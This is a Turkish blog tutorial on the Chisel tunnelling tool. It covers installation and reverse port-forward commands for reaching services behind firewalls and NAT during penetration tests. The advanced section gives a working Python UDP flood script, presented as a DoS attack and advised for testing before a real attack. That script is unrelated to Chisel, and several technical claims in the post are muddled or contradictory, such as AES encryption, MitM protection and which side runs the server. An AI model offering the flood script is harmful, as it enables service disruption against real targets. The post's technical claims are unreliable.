CyberFlow Logo CyberFlow 📚 Blog

Chisel - TCP/HTTP tünelleme

✍️ Ahmet BİRKAN 📂 kali_tools_vpn_tunelleme_araclari
Chisel - TCP/HTTP tünelleme Giriş Giriş Siber güvenlik dünyasında, veri iletişimi ve sistemler arasındaki bağlantılar kritik bir öneme sahiptir. Günümüzde, çoğ…
Chisel - TCP/HTTP tünelleme

Chisel - TCP/HTTP tünelleme

Giriş

Giriş

Siber güvenlik dünyasında, veri iletişimi ve sistemler arasındaki bağlantılar kritik bir öneme sahiptir. Günümüzde, çoğu uygulama ve hizmet internet üzerinden çalışmaktadır ve bu durum, veri transferi için güvenilir yollar bulma ihtiyacını doğurmaktadır. Bu bağlamda, Chisel, TCP ve HTTP tünelleme işlemleri için ilgi çekici bir araç olarak öne çıkmaktadır.

Chisel Nedir?

Chisel, TCP ve HTTP tünellemesi yapmak için kullanılan bir araçtır. Temel amacı, güvenli ve şifreli bir şekilde veri iletimini sağlamaktır. Basit bir ifadeyle, Chisel, verileri hedef bir sunucuya göndermek veya oradan almak için bir tünel oluşturur. Bu işlemi yaparken, uygulama geliştiricilerin, sistem yöneticilerinin ve siber güvenlik profesyonellerinin işini kolaylaştırır.

Neden Önemlidir?

Günümüzde pek çok kurum, sistemlerinin güvenliğini artırmak amacıyla çeşitli tünelleme yöntemlerine başvurmaktadır. Chisel, aşağıdaki nedenlerden ötürü büyük bir öneme sahiptir:

  1. Güvenlik: Chisel, verilerinizi şifreleyerek güvenli bir iletişim kanalı sağlar. Bu karakteristik, hassas bilgilerin yetkisiz erişimden korunmasına yardımcı olur.

  2. Erişim Kontrolü: Ağ yapılandırmalarında genellikle dışarıdan erişim kısıtlaması yapılır. Chisel, tünelleme yaparak kısıtlı sistemlere, firewall veya diğer güvenlik önlemlerini aşarak erişim sağlar.

  3. Test ve Geliştirme: Geliştiriciler, uygulamalarının internet üzerinden güvenli bir şekilde çalışmasını sağlamak için Chisel'i kullanabilir. Test süreçlerinde, yerel sunuculara veya sistemlere kolayca erişim sağlar.

Kullanım Alanları

Chisel, pek çok farklı senaryoda kullanılabilmektedir. İşte bazı örnekler:

Siber Güvenlik Açısından Konumu

Siber güvenlik alanında, veri iletimini gizli ve güvenli hale getirmek çok önemlidir. Chisel, bu bağlamda güçlü bir araç olarak değerlendirilir. Şifreleme protokolleri ve tünelleme yöntemleri arasında yer alarak, hem yasal hem de etik anlamda veri güvenliğini sağlamada etkili bir çözüm sunar.

Özellikle, hackerların gerçekleştirdiği man-in-the-middle (MitM) saldırılarından korunmak için tünelleme yöntemlerine olan ihtiyaç giderek artmaktadır. Chisel gibi araçlar, bu tür saldırılara karşı bir savunma mekanizması oluştururken, aynı zamanda veri bütünlüğünü ve gizliliğini de korur.

Sonuç olarak, Chisel, siber güvenlik uygulamalarında kritik bir yer tutar. Kullanıcıların ve sistemlerin verilerini güvenli bir şekilde iletmesine yardımcı olurken, siber tehditlere karşı dayanıklı bir yapı sağlar. Chisel’in etkin bir şekilde kullanılması, siber güvenlik dünyasında önemli bir adım olarak değerlendirilmektedir.

Teknik Detay

Chisel Nedir?

Chisel, TCP ve HTTP üzerinden tünelleme sağlamak amacıyla kullanılan bir araçtır. Genellikle güvenlik testleri, ağ analizi veya zayıf bağlantıların optimize edilmesi için kullanılır. Kullanıcılar arasında iletişim kurmak ve gizliliği artırmak amacıyla veriler güvenli bir şekilde iletilir. Chisel, özellikle firewall'ları aşmak veya NAT'ı delmek için kullanışlıdır.

Çalışma Mantığı

Chisel, iki ana bileşen üzerinden çalışır: tünelleme sunucusu ve tünelleme istemcisi. Bu iki yapı, HTTPS üzerinden veri iletimine olanak tanır ve veri güvenliğini artırmak için şifreleme kullanır.

Bu yapı sayesinde kullanıcılar, güvenlik duvarları tarafından kısıtlanmış veya NAT arkasında bulunan hizmetlere erişim sağlayabilir.

Kullanılan Yöntemler

Chisel, verilerin iletiminde ve tünelleme işlemleri sırasında şu yöntemleri kullanır:

Protokol Seçimi

Chisel, TCP ve HTTP protokollerini kullanarak verileri tüneller. Bu sayede, birçok ağ ortamında etkili bir çözüm sunar. TCP protokolü, verilerin güvenilir bir şekilde aktarılmasını sağlarken, HTTP protokolü çoğu güvenlik duvarı tarafından kabul edilir.

Şifreleme

Chisel, verilerin güvenli bir şekilde iletilmesi için AES şifreleme algoritması kullanır. Bu, verinin şifrelenmiş bir biçimde gönderilmesini ve alındıktan sonra deşifre edilerek kullanıma sunulmasını sağlar.

Dikkat Edilmesi Gereken Noktalar

  1. Güvenlik Ayarları: Chisel’in kullanıldığı ortamda güvenlik ayarlarının düzgün bir şekilde yapılandırıldığından emin olun. Yanlış ayarlar, veri kaybı veya müsaadesiz erişime neden olabilir.

  2. Ağ Yükü: Tünel üzerinde çok fazla veri iletimi gerçekleşiyorsa, ağ üzerinde ek yük oluşturabilir. Bu durum, performans sorunlarına yol açabilir.

  3. Yasal Durumlar: Çeşitli ülkelerde bazı tünelleme yöntemleri yasaklı olabilir. Yerel yasaların göz önünde bulundurulması önemlidir.

Teknik Bileşenler

Kurulum

Chisel’i kullanmak için aşağıdaki adımları izleyerek gerekli dosyaları indirebilir ve kurulum gerçekleştirebilirsiniz.

  1. Chisel İndirme:
# Chisel'i git üzerinden indirin
git clone https://github.com/jpillora/chisel.git
cd chisel
  1. Kurulum:
# Go ile derleme
go build

Tünelleme Örneği

Chisel kullanarak bir tünelleme bağlantısı oluşturmak için aşağıdaki komut kullanılabilir:

Sunucu Bölümü

Uzak sunucu üzerinde tünelleme sunucusunu başlatmak için:

./chisel server --port 8000 --reverse

İstemci Bölümü

Yerel makinede tünelleme istemcisini başlatmak için:

./chisel client <uzak-sunucu-ip>:8000 R:8888:localhost:22

Bu komut ile uzak sunucuya bağlanılır ve 22 numaralı port (SSH) üzerinden bağlantı sağlanır. Veriler, 8888 portu üzerinden yerel makinaya yönlendirilir.

Analiz Bakış Açısı

Chisel, kullanıldığında veri akışının izlenmesi ve gerektiğinde log dosyalarının analiz edilmesi faydalıdır. Ağ üzerindeki tünelleme trafiği, özellikle güvenlik denetimlerinde önemli bir verim sağlar. Ağ mimarisi ve veri akışlarını analiz ederek, olası zayıf noktaların tespiti gerçekleştirilmelidir.

Bu şekilde, Chisel kullanarak TCP/HTTP üzerinden veri tünellemenin nasıl çalıştığını ve dikkate alınması gereken noktaları anlamış oldunuz. Herhangi bir siber güvenlik projesinde Chisel gibi araçların kullanılması, güvenliği artırırken, veri iletimini de daha verimli hale getirmektedir.

İleri Seviye

Chisel ile İleri Seviye TCP/HTTP Tünelleme

Chisel, TCP ve HTTP tünellemesi yapmak için kullanılan bir araçtır. Çeşitli sızma testleri ve güvenlik araştırmaları için oldukça değerli bir araç olan Chisel, özellikle NAT ve güvenlik duvarlarının arkasında bulunan hizmetlere erişim sağlamak için etkili bir yöntem sunar. Bu bölümde, Chisel’in ileri seviye kullanımlarına odaklanacak, sızma testi yaklaşımlarını, analiz mantığını, uzman ipuçlarını ve teknik örnekleri inceleyeceğiz.

Chisel Kurulumu

Chisel'i kullanmaya başlamadan önce sisteminizde Go dilinin yüklü olduğundan emin olun. Chisel’i GitHub üzerinden indirebilir ve kurulumunu gerçekleştirebilirsiniz:

go install github.com/jpillora/chisel@latest

Chisel Yapılandırması

Chisel, iki modda çalışır: sunucu ve istemci. Sunucu, hedef makinada başlatılırken, istemci, saldırganın makinesinde çalıştırılır. Örnek bir sunucu yapılandırması şu şekildedir:

chisel server --port 8000 --reverse

İstemci tarafında ise, örneğin bir SSH tüneli oluşturmak için aşağıdaki komutu kullanabilirsiniz:

chisel client <hedef_ip>:8000 R:2222:127.0.0.1:22

Bu komut, hedef IP adresindeki Chisel sunucusuna bağlanarak 2222 numaralı portu yerel makinedeki 22 numaralı porta (SSH) yönlendirilmiştir.

Gelişmiş Kullanım Stratejileri

Tünel Yaratmak ve Veri Akışı Analizi

Chisel ile yalnızca port yönlendirmeleri değil, aynı zamanda verilerin yönlendirilmesi de mümkündür. Örneğin, web tabanlı bir uygulamanın veritabanını hedef alıyorsanız, aşağıdaki gibi bir komutla HTTP tüneli oluşturabilirsiniz:

chisel client <hedef_ip>:8000 R:8080:127.0.0.1:80

Bu komut, hedef makinedeki 80 numaralı HTTP portunu yerel 8080 portuna yönlendirecektir. Böylece, hedef makinedeki web uygulamasına yerel makinenizden erişebilirsiniz. Bu durumda, bir tarayıcı ile http://localhost:8080 adresine giderek hedef makinenin web uygulamasını görebilirsiniz.

Payload İnen Enjeksiyon

Chisel’in etkili kullanım alanlarından biri, payload’ları hedef sistemlere göndermektir. Aşağıdaki Python scripti, Chisel üzerinden basit bir DOS (Denial of Service) saldırısı gerçekleştirmek için kullanılabilir.

import socket

def dos_attack(target_ip, target_port):
    while True:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            sock.sendto(b"Flooding attack", (target_ip, target_port))
        except Exception as e:
            print(f"Error: {e}")

dos_attack("<hedef_ip>", 80)

Bu script, sürekli olarak hedef IP ve portuna UDP paketleri gönderir. Gerçek bir saldırı kapsamında kullanılmadan önce dikkatli bir şekilde test edilmelidir.

Güvenlik ve İzleme

Chisel ile gerçekleştirilen tünelleme işlemleri izlenebilir. Gelişmiş izleme teknikleri kullanarak tünel trafiğini analiz etmek, potansiyel saldırıları veya anormallikleri tespit etmenizi sağlar. Araçlar örneğin Wireshark kullanarak TCP/IP paketlerini analiz edebilir ve bu veriler üzerinden raporlar oluşturabilirsiniz.

Sonuç

Chisel, etkili bir tünelleme aracı olarak siber güvenlik uzmanlarının işini kolaylaştırır. TCP ve HTTP tünellemesi sayesinde, karmaşık güvenlik duvarlarını aşarak hedef sistemlere erişim sağlar. Ancak bu araç dikkatli kullanılmalıdır; aksi takdirde kötüye kullanılma ihtimali yüksektir. Sızma testleri ve güvenlik araştırmaları sırasında, etik ve yasa dışı eylemler arasındaki sınırı çizmek son derece önemlidir.